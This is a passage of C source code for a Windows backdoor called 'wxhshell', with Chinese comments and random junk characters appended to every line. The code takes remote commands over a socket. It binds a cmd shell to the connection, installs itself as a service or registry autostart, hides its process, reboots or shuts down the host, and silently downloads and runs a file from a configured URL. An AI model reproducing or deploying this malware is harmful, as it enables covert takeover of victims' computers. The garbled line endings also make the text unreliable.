  } b;cdIl!3  
  // 安装 C0}IE,]  
  case 'i': { bdF.qO9  
    if(Install()) /$'AjIg4:&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3~ S8!nx  
    else EioB%f3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g'V>_u#(  
    break; -1U D0(  
    } b#hDHSdZ,  
  // 卸载 WqXbI4;pJ  
  case 'r': { H=Y{rq@  
    if(Uninstall()) :=\Hoz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~gyy]8&  
    else f,:9N5Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Ccq4i  
    break; pXtXjb  
    } j{9D{  
  // 显示 wxhshell 所在路径 nAjO6g6E  
  case 'p': { [`rba'  
    char svExeFile[MAX_PATH]; glF; e T  
    strcpy(svExeFile,"\n\r"); 8F&=a,ps[  
      strcat(svExeFile,ExeFile); qIIv6''5@  
        send(wsh,svExeFile,strlen(svExeFile),0); h?8]C#6^  
    break; <\}KT*Xp  
    } fvF?{k>~}  
  // 重启 ( 8c9 /7h  
  case 'b': { +L9Eqll  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P%(O|  
    if(Boot(REBOOT)) o\3L}Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  s8rE$  
    else { $}jssnoU  
    closesocket(wsh); YtfVD7m  
    ExitThread(0); <F=xtyl7  
    } Gch[Otq]%  
    break; lo,$-bJ,<,  
    } Ou1JIxZ)|  
  // 关机 }0X:F`Y-  
  case 'd': { "0cID3A$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ek}a}.3 {  
    if(Boot(SHUTDOWN)) zOa_X~!@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V*iH}Y?^p  
    else { kZerKP  
    closesocket(wsh); iMP]W _  
    ExitThread(0); IuRmEL_Q_  
    } y10h#&k  
    break; ~ y;6W0x  
    } 26k LhFS  
  // 获取shell FcYFovS  
  case 's': { L>a  
    CmdShell(wsh); V` 1/SQX  
    closesocket(wsh); q11>f   
    ExitThread(0); tGl;@V@Qj  
    break; 3 "Q=Vl"  
  } [>1OJY.S}T  
  // 退出 2U:H545]]  
  case 'x': { p-/|mL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y5FbU  
    CloseIt(wsh); qh2ON>e;  
    break; \u>"s   
    } :E@3Vl#U  
  // 离开 cvfr)K[0  
  case 'q': { E7Y`|nT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  uJ5Eka  
    closesocket(wsh); ^,;z|f'% *  
    WSACleanup(); Tp_L%F  
    exit(1); KFvQ  
    break; j;fpQ_KL  
        } [zlN !.Z  
  } =IW?WIXk  
  } 3MY(<TGX  
24)(5!:"  
  // 提示信息 Qe} `~a9P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xp8]qH|K   
} vL\&6n~M>  
  } yLdVd P  
8$ma;U d  
  return; h0g:@ae%&  
} $d)ca9  
l:<?{)N`  
// shell模块句柄 [-;_ZFS{  
int CmdShell(SOCKET sock) JNa"8  
{ 72Iy^Y[MX  
STARTUPINFO si; "Za >ZRR  
ZeroMemory(&si,sizeof(si)); k=B] &F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (jFGa2{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YH%'t= <m  
PROCESS_INFORMATION ProcessInfo; D[mSmpjE6&  
char cmdline[]="cmd"; (h5'9r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G_k~X"  
  return 0; W81E!RyP`  
} OZTPOz.  
l#H#+*F  
// 自身启动模式 ]) rrG/3  
int StartFromService(void) l-s!A(l  
{ %_{tzXim  
typedef struct hDcEGU_  
{ >b6-OFJx  
  DWORD ExitStatus; fD07VBS yl  
  DWORD PebBaseAddress; bX*Hi#J~A  
  DWORD AffinityMask; vt;{9\Y  
  DWORD BasePriority; nM-h&na{s  
  ULONG UniqueProcessId; 'eJ+JM<0%  
  ULONG InheritedFromUniqueProcessId; b D[!/'4eJ  
}   PROCESS_BASIC_INFORMATION; M5*{  
I{lT>go  
PROCNTQSIP NtQueryInformationProcess; ,>:;#2+og  
]Qfn(u=o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,^x4sA[/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T:IW%?M  
N#Zhxu,g!  
  HANDLE             hProcess; ^H2-RBE#  
  PROCESS_BASIC_INFORMATION pbi; z-LB^kc8oQ  
HKqwE=NZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ld^=#]g  
  if(NULL == hInst ) return 0; \z$p%4`E@  
&Ibu>di4[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (A?H1 9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |kvC H<F'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fVt9X*xK S  
t7m>A-I  
  if (!NtQueryInformationProcess) return 0; |pmZ.r  
LwK+:4$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (q4),y<:[  
  if(!hProcess) return 0; t@R ?Rgu3  
-GqT7`:(H4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ltgc:&=|@  
*r=:y{!Yd  
  CloseHandle(hProcess); Gu'rUo3Do  
Pj4/xX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *+\S yO  
if(hProcess==NULL) return 0; SnFk>`  
Yb /i{@AJ  
HMODULE hMod; tX@_fYb  
char procName[255]; F8uNL)gKj)  
unsigned long cbNeeded; kH4Ai3#g  
E/09hD Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "bm  
r4QxoaM  
  CloseHandle(hProcess); $zyIuJN#  
RheRe  
if(strstr(procName,"services")) return 1; // 以服务启动 @~#Ym1{W  
LNa$ X5`  
  return 0; // 注册表启动 `X`2:@gQ  
} E[*Fz1>  
aS pWsT  
// 主模块 #F*1V(!  
int StartWxhshell(LPSTR lpCmdLine) ,daKC  
{ ^~$)F_`"  
  SOCKET wsl; RgGyoZ  
BOOL val=TRUE; E6,4RuCK  
  int port=0; ObE,$_ k  
  struct sockaddr_in door; ;+tpvnV;]  
*0|IXGr  
  if(wscfg.ws_autoins) Install(); L}FO jrN  
HS.^y x  
port=atoi(lpCmdLine); F P>)&3>_  
.'rW.'Ft  
if(port<=0) port=wscfg.ws_port; ?@6/E<-Z$  
3T e^  
  WSADATA data; 9:!gI|C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z-U-N  
'2laTl]`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GN0`rEh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A5H3%o(6k  
  door.sin_family = AF_INET; #fL8Kq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \igmv]G%  
  door.sin_port = htons(port); G <uyin>  
GQl$yZaK{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +8#_59;x  
closesocket(wsl); y8 KX<2s1  
return 1; r.T<j .\  
} +]|Z%;im  
:Pg}Zz<  
  if(listen(wsl,2) == INVALID_SOCKET) { n f.wCtf].  
closesocket(wsl); 4<?8M vF  
return 1; ;i"*Ll>Q)  
} Y)$ ;Ax-D  
  Wxhshell(wsl); #."Hh<C  
  WSACleanup(); 3` #6ACF  
jC3Vbm&ZZ  
return 0; A^RR@D  
RiTa \  
} C:uz6i1  
0z[dl Hi  
// 以NT服务方式启动 4_UU<GEp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` iJhG^w9M  
{ tU^kQR!  
DWORD   status = 0; HoLv`JA  
  DWORD   specificError = 0xfffffff; L3p`  
gxT4PQDy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /\w)>0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N~?{UOZd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xESjM1A)  
  serviceStatus.dwWin32ExitCode     = 0; =L5GhA~  
  serviceStatus.dwServiceSpecificExitCode = 0; +hRmO  
  serviceStatus.dwCheckPoint       = 0; S8l1"/?aHE  
  serviceStatus.dwWaitHint       = 0; { K _kPgKS  
6SC,;p=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Fe^Qb5G  
  if (hServiceStatusHandle==0) return; >z%Q>(F  
2qHf'  
status = GetLastError(); y')RT R{>M  
  if (status!=NO_ERROR) \NG C$p n  
{ 1TM~*<Jb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ka|eFprS  
    serviceStatus.dwCheckPoint       = 0;  /q@ s  
    serviceStatus.dwWaitHint       = 0; G|m1.=DJm  
    serviceStatus.dwWin32ExitCode     = status; W{5:'9,  
    serviceStatus.dwServiceSpecificExitCode = specificError; @<@SMK)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #-Z8Z i"44  
    return; kJAn4I.l  
  } ;@nFVy>U  
]O` {dnP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {&[9iIf  
  serviceStatus.dwCheckPoint       = 0; j.i#*tN//  
  serviceStatus.dwWaitHint       = 0; BT_tOEL#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); : 5U"XY x@  
} ;D.h 65rr  
cM&2SRBZ  
// 处理NT服务事件,比如:启动、停止 ow/57P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XYH|;P6K  
{ hAqg Iu*  
switch(fdwControl) >|o_wO  
{ e/8z+H^H  
case SERVICE_CONTROL_STOP: Vi]c%*k  
  serviceStatus.dwWin32ExitCode = 0; W><dYy=z5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +-a&2J;J'  
  serviceStatus.dwCheckPoint   = 0; ,SScf98,j  
  serviceStatus.dwWaitHint     = 0; u=&Bmn_  
  { -z:&*=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kv{8iAB#c  
  } }4>JO""  
  return; WV"jH9"[  
case SERVICE_CONTROL_PAUSE: 6] z}#"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m9md|yS  
  break; kJ(A,s|  
case SERVICE_CONTROL_CONTINUE: qUo-Dq>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @4!x>q$3  
  break; e9^2,:wLB  
case SERVICE_CONTROL_INTERROGATE: 1P]de'-`j  
  break; kz q29S  
}; ]feyJLF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3"UsZyN:  
} ue8qIZH  
l12$l<x&M  
// 标准应用程序主函数 Y& ] 8 {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "Jy~PcJZ1  
{ ecX/K.8l  
fA^7^0![  
// 获取操作系统版本 q9dLHi<1  
OsIsNt=GetOsVer(); hxC!+ArVe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); # 4|9Fj??  
Y'Z+, CNf  
  // 从命令行安装 kDB iBNdB  
  if(strpbrk(lpCmdLine,"iI")) Install(); D22Lu ;E  
q2_`v5t  
  // 下载执行文件 d `j?7Z  
if(wscfg.ws_downexe) { {5Eyr$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !U BVPR*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5]7&IDA]]9  
} '5};M)w  
3D)b*fPc  
if(!OsIsNt) { .dI)R40L/\  
// 如果时win9x,隐藏进程并且设置为注册表启动 g-yi xU  
HideProc(); }.:d#]g8  
StartWxhshell(lpCmdLine); }#=Od e  
} [.q(h/b  
else vZajT!h  
  if(StartFromService()) 'H FKBp  
  // 以服务方式启动 j[P8  
  StartServiceCtrlDispatcher(DispatchTable); [BBpQN.^q6  
else (3md:r<-  
  // 普通方式启动 P 4;{jG  
  StartWxhshell(lpCmdLine); &.*uc|{  
7CrpUh  
return 0; xaL#MIR"u"  
}
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只看该作者 1 发表于: 2006-10-10
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